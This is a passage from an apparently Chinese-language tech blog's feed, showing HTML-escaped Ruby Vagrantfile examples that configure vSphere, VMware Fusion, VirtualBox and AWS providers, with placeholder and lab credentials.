&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> node_config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:vsphere&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vsphere&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;vc01.testlab.local&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>compute_resource_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;esxi01.testlab.local&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>name &lt;span style="color:#f92672">=&lt;/span> vm_name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>customization_spec_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;centos66&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>template_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;PhotonTemplate&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>user &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;administrator@vsphere.local&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>password &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;password&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>insecure &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Vagrantfile and Provider</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201002-10158898/</link><pubDate>Fri, 02 Oct 2020 19:41:23 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2020/20201002-10158898/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10158898" target="_blank" rel="noopener">Day 8 - Vagrantfile and Provider&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://ithelp.ithome.com.tw/articles/10159037" target="_blank" rel="noopener">Day 9 - Advanced Vagrantfile(編輯中)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>用以下這個範例
你只要使用 Vagrant up 加上 provider 參數，就可開啟不同來源的機器&lt;/p>
&lt;p>例如我要開啟 Vsphere 的機器，我只要下 &lt;code>vagrant up --provider=vsphere&lt;/code>&lt;/p>
&lt;p>要開 AWS 的機器，我只要下 &lt;code>vagrant up --provider=aws&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">VAGRANTFILE_API_VERSION&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#66d9ef">VAGRANTFILE_API_VERSION&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 我們定義一個 Ubuntu 的機器&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># box 的需求是對於 local 的 VM 才需要的&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 所以在 provider 是 vmware_fusion 或 Virtualbox 時，才會用到這個設定&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;hashicorp/precise64&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vmware_fusion&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">&amp;#34;vmware_fusion&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>v, override&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;precise64_vmware&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v&lt;span style="color:#f92672">.&lt;/span>gui &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vsphere&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:vsphere&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vsphere&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 對於私有雲及公有雲，要clone 的vm 是儲存在雲端上的&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># 所以 box 使用 dummy box 來達到這個目的&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;nkhasanov/vsphere-simple&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;YOURIP&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>compute_resource_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;YOUR DATACENTER&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>resource_pool_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;YOUR RESOURCE POOL&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>insecure &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>template_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;VM TEMPLATE&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-test-machine&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>user &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;administrator&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>password &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;$p1unK_Lab&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>vm_base_path &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;vmware_template&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>linked_clone &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># virtual box&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">&amp;#34;virtualbox&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vb&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>gui &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:aws&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>aws, override&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws configurations&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>access_key_id &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_ACCESS_KEY_ID&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>secret_access_key &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_ACCESS_KEY&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>keypair_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>security_groups &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>instance_type &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;t2.small&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>region &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;us-east-1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># ubuntu 14.04 x64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>ami &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-864d84ee&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># override info&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>ssh&lt;span style="color:#f92672">.&lt;/span>username &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ubuntu&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>ssh&lt;span style="color:#f92672">.&lt;/span>private_key_path &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_PRIVATE_KEY_PATH&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>synced_folder &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_SYNC_FOLDER&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;/vagrant&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">type&lt;/span>: &lt;span style="color:#e6db74">&amp;#34;rsync&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;dimroc/awsdummy&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">LOCAL_BOXS&lt;/span> &lt;span style="color:#f92672">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;ubuntu1404x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ubuntu/trusty64&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;ubuntu1210x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;chef/ubuntu-12.10&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">AWS_AMIS&lt;/span> &lt;span style="color:#f92672">=&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;ubuntu1404x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-864d84ee&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;ubuntu1210x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-02df496b&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;windows2012r2x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-9ade1df2&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;windows2012x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-5ce32034&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;windows2008r2x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-2ae02342&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;windows2008x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-5e24e936&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;windows2003r2x64&amp;#34;&lt;/span> &lt;span style="color:#f92672">=&amp;gt;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;ami-b0e320d8&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">VAGRANTFILE_API_VERSION&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">Vagrant&lt;/span>&lt;span style="color:#f92672">.&lt;/span>configure(&lt;span style="color:#66d9ef">VAGRANTFILE_API_VERSION&lt;/span>) &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>config&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;precise64_vmware&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vmware_fusion&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">&amp;#34;vmware_fusion&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>v, override&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> override&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;precise64_vmware&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v&lt;span style="color:#f92672">.&lt;/span>gui &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v&lt;span style="color:#f92672">.&lt;/span>vmx&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;memsize&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;1024&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v&lt;span style="color:#f92672">.&lt;/span>vmx&lt;span style="color:#f92672">[&lt;/span>&lt;span style="color:#e6db74">&amp;#34;numvcpus&amp;#34;&lt;/span>&lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;2&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vsphere&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:vsphere&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vsphere&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>box &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;nkhasanov/vsphere-simple&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>host &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;#{}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>compute_resource_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;#{}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># vsphere.resource_pool_name = &amp;#39;YOUR RESOURCE POOL&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>insecure &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>template_name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;qasus-tw-centos7x64-01&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>name &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_NAME&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">-test-machine&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>user &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;administrator&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>password &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;#{}&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>vm_base_path &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;vmware_template&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vsphere&lt;span style="color:#f92672">.&lt;/span>linked_clone &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># virtual box&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">&amp;#34;virtualbox&amp;#34;&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>vb&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>gui &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>memory &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">1024&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> vb&lt;span style="color:#f92672">.&lt;/span>cpus &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">end&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> config&lt;span style="color:#f92672">.&lt;/span>vm&lt;span style="color:#f92672">.&lt;/span>provider &lt;span style="color:#e6db74">:aws&lt;/span> &lt;span style="color:#66d9ef">do&lt;/span> &lt;span style="color:#f92672">|&lt;/span>aws, override&lt;span style="color:#f92672">|&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e"># aws configurations&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> aws&lt;span style="color:#f92672">.&lt;/span>access_key_id &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#e6db74">#{&lt;/span>&lt;span style="color:#66d9ef">YOUR_AWS_ACCESS_KEY_ID&lt;/span>&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
